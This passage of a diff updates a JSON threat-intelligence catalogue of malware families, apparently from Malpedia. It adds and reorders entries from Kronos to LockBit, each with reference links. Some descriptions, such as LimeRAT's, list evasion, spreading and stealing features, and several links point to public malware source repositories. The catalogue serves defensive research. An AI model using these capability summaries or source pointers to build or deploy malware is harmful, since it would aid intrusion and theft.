"https://www.proofpoint.com/us/threat-insight/post/kronos-reborn" + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", + "https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses", + "https://twitter.com/3xp0rtblog/status/1294157781415743488", + "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/" ], "synonyms": [ "Osiris" @@ -29113,8 +30669,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t", - "https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/", "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/", + "https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/", "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-2/" ], "synonyms": [], @@ -29161,15 +30717,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "616c7c32-110e-4bb3-8e99-4c2aeb8f8272", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1fc49b8c-647a-4484-a2f6-e6f2311f8b58", "value": "Kurton" }, @@ -29191,41 +30738,46 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs", - "https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", "https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apts", "https://blog.reversinglabs.com/blog/unpacking-kwampirs-rat", - "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", "http://www.documentcloud.org/documents/6821581-FLASH-CP-000111-MW-Downgraded-Version.html", + "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", + "https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html", "https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/", - "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/", - "https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html" + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/", + "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d1e548b8-4793-11e8-8dea-6beff82cac0a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2fc93875-eebb-41ff-a66e-84471c6cd5a3", "value": "Kwampirs" }, + { + "description": "According to its self-description, Ladon is a multi-threaded plug-in comprehensive scanning artifact for large-scale network penetration, including port scanning, service identification, network assets, password blasting, high-risk vulnerability detection and one click getshell. It supports batch a segment / b segment / C segment and cross network segment scanning, as well as URL, host and domain name list scanning.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ladon", + "https://github.com/k8gege/Ladon", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5c63623b-aa84-41a5-9e3e-f338edf72291", + "value": "Ladon" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lalala_stealer", - "https://securitynews.sonicwall.com/xmlpost/lalala-infostealer-which-comes-with-batch-and-powershell-scripting-combo/", "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", "https://twitter.com/luc4m/status/1276477397102145538", + "https://securitynews.sonicwall.com/xmlpost/lalala-infostealer-which-comes-with-batch-and-powershell-scripting-combo/", "https://www.hornetsecurity.com/en/security-information/information-stealer-campaign-targeting-german-hr-contacts/" ], "synonyms": [], @@ -29239,13 +30791,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert", - "https://www.youtube.com/watch?v=jeLd-gw2bWo", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7", - "https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://ti.qianxin.com/blog/articles/network-weapons-of-cia/", "https://twitter.com/_CPResearch_/status/1484502090068242433", - "https://ti.qianxin.com/blog/articles/network-weapons-of-cia/" + "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.youtube.com/watch?v=jeLd-gw2bWo", + "https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/" ], "synonyms": [ "Plexor" @@ -29268,29 +30820,34 @@ "uuid": "da79cf10-df9f-4cd3-bbce-ae9f357633f0", "value": "Lamdelin" }, + { + "description": "Clipboard stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas", + "https://twitter.com/Gi7w0rm/status/1604999633792647169", + "https://blog.cyble.com/2022/11/02/new-laplas-clipper-distributed-by-smokeloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cc2c0c2a-b233-4d51-9e0a-ae91043c952c", + "value": "LaplasClipper" + }, { "description": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot", "https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/", - "http://malware-traffic-analysis.net/2017/04/25/index.html", + "https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access", "https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html", - "https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/", - "https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access" + "http://malware-traffic-analysis.net/2017/04/25/index.html", + "https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "635d260f-39d9-4d3f-99ec-d2560cb5d694", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7fc74551-013f-4dd1-8da9-9266edcc45d0", "value": "LatentBot" }, @@ -29307,14 +30864,56 @@ "uuid": "e1958a69-49c3-43a2-ba80-6e5cd5bbcd13", "value": "Laturo Stealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor", + "https://asec.ahnlab.com/ko/40495/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1045b4f1-5a85-4448-a7a9-abc964bdae72", + "value": "LazarDoor" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader", + "https://securelist.com/bluenoroff-methods-bypass-motw/108383/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "42bce8d3-8705-44fb-bd88-4af16c6bd28f", + "value": "LazarLoader" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/", + "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + ], + "synonyms": [ + "KillDisk.NBO" + ], + "type": [] + }, + "uuid": "6f377d0b-9eaa-474c-8cf8-0718ee2b0efc", + "value": "KillDisk (Lazarus)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok", "https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector", - "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802", - "https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken" + "https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken", + "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802" ], "synonyms": [], "type": [] @@ -29341,10 +30940,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot", - "https://securelist.com/lazarus-trojanized-defi-app/106195/", + "https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/", "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", - "https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/" + "https://securelist.com/lazarus-trojanized-defi-app/106195/", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf" ], "synonyms": [], "type": [] @@ -29352,6 +30951,19 @@ "uuid": "23dd327e-5d1d-4b75-993e-5d79d9fc0a70", "value": "LCPDot" }, + { + "description": "A further branch of the URSNIF collection of malware families. According to Mandiant, it no longer has focus on banking fraud but generic backdoor capabilities instead.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4", + "https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c429622f-cbdf-47d6-88e8-091283ed5703", + "value": "LDR4" + }, { "description": "Ransomware.", "meta": { @@ -29384,19 +30996,19 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck", "https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/", - "https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html", - "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", - "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", - "https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf", - "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", "https://cybotsai.com/lemon-duck-attack/", "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/", - "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", - "https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/", - "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", - "https://success.trendmicro.com/solution/000261916", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://asec.ahnlab.com/en/31811/" + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", + "https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/", + "https://asec.ahnlab.com/en/31811/", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", + "https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf", + "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", + "https://success.trendmicro.com/solution/000261916" ], "synonyms": [], "type": [] @@ -29425,9 +31037,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic", + "http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html", "http://www.malware-traffic-analysis.net/2017/11/02/index.html", - "http://resources.infosecinstitute.com/win32lethic-botnet-analysis/", - "http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html" + "http://resources.infosecinstitute.com/win32lethic-botnet-analysis/" ], "synonyms": [], "type": [] @@ -29448,15 +31060,28 @@ "uuid": "007697bc-463e-4f90-93e3-8f8fdeff147a", "value": "LetMeOut" }, + { + "description": "LgoogLoader is an installer that drops three files: a batch file, an AutoIt interpreter, and an AutoIt script. After downloading, it executes the batch file.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lgoogloader", + "https://blog.polyswarm.io/nullmixer-drops-multiple-malware-families" + ], + "synonyms": [], + "type": [] + }, + "uuid": "edf1bb94-cc6b-46fd-a922-18fd2a0f323f", + "value": "LgoogLoader" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html", - "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", - "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media" + "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/" ], "synonyms": [ "LEMPO" @@ -29466,19 +31091,32 @@ "uuid": "ed825d46-be1e-4d36-b828-1b85274773dd", "value": "Liderc" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny", + "https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ea790924-8a81-4141-9e5c-14a205af170f", + "value": "LIGHTBUNNY" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron", - "https://securelist.com/apt-trends-report-q2-2018/86487/", - "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", - "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", - "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://securelist.com/apt-trends-report-q2-2018/86487/", "https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", + "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" ], "synonyms": [ "NETTRANS", @@ -29521,15 +31159,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith", - "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", - "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", "https://github.com/werkamsus/Lilith", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf" + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", + "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479" ], "synonyms": [], "type": [] @@ -29563,26 +31202,41 @@ "uuid": "3819bc21-8c15-48ee-8e68-ee2a0c5f82a7", "value": "limeminer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.limepad", + "https://www.zscaler.com/blogs/security-research/apt-36-uses-new-ttps-and-new-tools-target-indian-governmental-organizations" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0cae4bcd-9656-434d-81c1-c55801b3eaa3", + "value": "LimePad" + }, { "description": " ## Description\r\n Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves. \r\n \r\n ---\r\n\r\n## Main Features\r\n\r\n- **.NET**\r\n - Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0\r\n- **Connection**\r\n - Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports\r\n- **Plugin**\r\n - Using plugin system to decrease stub's size and lower the AV detection\r\n- **Encryption**\r\n - The communication between server & client is encrypted with AES\r\n- **Spreading**\r\n - Infecting all files and folders on USB drivers\r\n- **Bypass**\r\n - Low AV detection and undetected startup method\r\n- **Lightweight**\r\n - Payload size is about 25 KB\r\n- **Anti Virtual Machines**\r\n - Uninstall itself if the machine is virtual to avoid scanning or analyzing \r\n- **Ransomware**\r\n - Encrypting files on all HHD and USB with .Lime extension\r\n- **XMR Miner**\r\n - High performance Monero CPU miner with user idle\\active optimizations\r\n- **DDoS**\r\n - Creating a powerful DDOS attack to make an online service unavailable\r\n- **Crypto Stealer**\r\n - Stealing Cryptocurrency sensitive data\r\n- **Screen-Locker**\r\n - Prevents user from accessing their Windows GUI \r\n - **And more**\r\n - On Connect Auto Task\r\n\t- Force enable Windows RDP\r\n\t- Persistence\r\n - File manager\r\n - Passowrds stealer\r\n - Remote desktop\r\n - Bitcoin grabber\r\n - Downloader\r\n - Keylogger", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", - "https://github.com/NYAN-x-CAT/Lime-RAT/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", - "https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://lab52.io/blog/apt-c-36-recent-activity-analysis/", "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", "https://blog.reversinglabs.com/blog/rats-in-the-library", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://www.youtube.com/watch?v=x-g-ZLeX8GM", + "https://any.run/cybersecurity-blog/limerat-malware-analysis/", + "https://lab52.io/blog/apt-c-36-recent-activity-analysis/", "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://www.youtube.com/watch?v=x-g-ZLeX8GM", + "https://github.com/NYAN-x-CAT/Lime-RAT/", + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://blog.yoroi.company/research/limerat-spreads-in-the-wild/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://felipetarijon.github.io/2022-12-12-limerat-infecting-unskilled-threat-actors/" ], "synonyms": [], "type": [] @@ -29620,8 +31274,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" ], "synonyms": [], "type": [] @@ -29648,9 +31302,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp", - "https://viriback.com/recent-litehttp-activities-and-iocs/", + "https://malware.news/t/recent-litehttp-activities-and-iocs/21053", "https://github.com/zettabithf/LiteHTTP", - "https://malware.news/t/recent-litehttp-activities-and-iocs/21053" + "https://viriback.com/recent-litehttp-activities-and-iocs/" ], "synonyms": [], "type": [] @@ -29658,121 +31312,152 @@ "uuid": "2f9e1221-0a59-447b-a9e8-bedb010cd3d8", "value": "LiteHTTP" }, + { + "description": "According to PCrisk, LOBSHOT is a type of malware with a feature called hVNC (Hidden Virtual Network Computing) that allows attackers to access a victim's computer without being noticed. The hVNC component is effective in evading fraud detection systems. Also, LOBSHOT is being used to carry out financial crimes through the use of banking trojan and information-stealing functionalities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot", + "https://www.elastic.co/de/security-labs/elastic-security-labs-discovers-lobshot-malware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c30db30e-e29a-4f62-bda0-c284fa7c6f6d", + "value": "LOBSHOT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit", - "https://www.ic3.gov/Media/News/2022/220204.pdf", - "https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/", - "https://www.netskope.com/blog/netskope-threat-coverage-lockbit", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/", - "https://id-ransomware.blogspot.com/search?q=lockbit", - "https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant--lockbit-3-.html", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", "https://www.intrinsec.com/alphv-ransomware-gang-analysis", - "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.advanced-intel.com/post/from-russia-with-lockbit-ransomware-inside-look-preventive-solutions", + "https://asec.ahnlab.com/en/35822/", + "https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/", + "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", + "https://id-ransomware.blogspot.com/search?q=lockbit", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers", + "https://asec.ahnlab.com/en/41450/", + "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", + "https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware", + "https://blog.minerva-labs.com/lockbit-3.0-aka-lockbit-black-is-here-with-a-new-icon-new-ransom-note-new-wallpaper-but-less-evasiveness", + "https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://blogs.vmware.com/security/2022/10/lockbit-3-0-also-known-as-lockbit-black.html", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", + "https://medium.com/@amgedwageh/lockbit-ransomware-analysis-notes-93a542fc8511", + "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/", + "https://security.packt.com/understanding-lockbit/", + "https://analyst1.com/ransomware-diaries-volume-1/", + "https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", 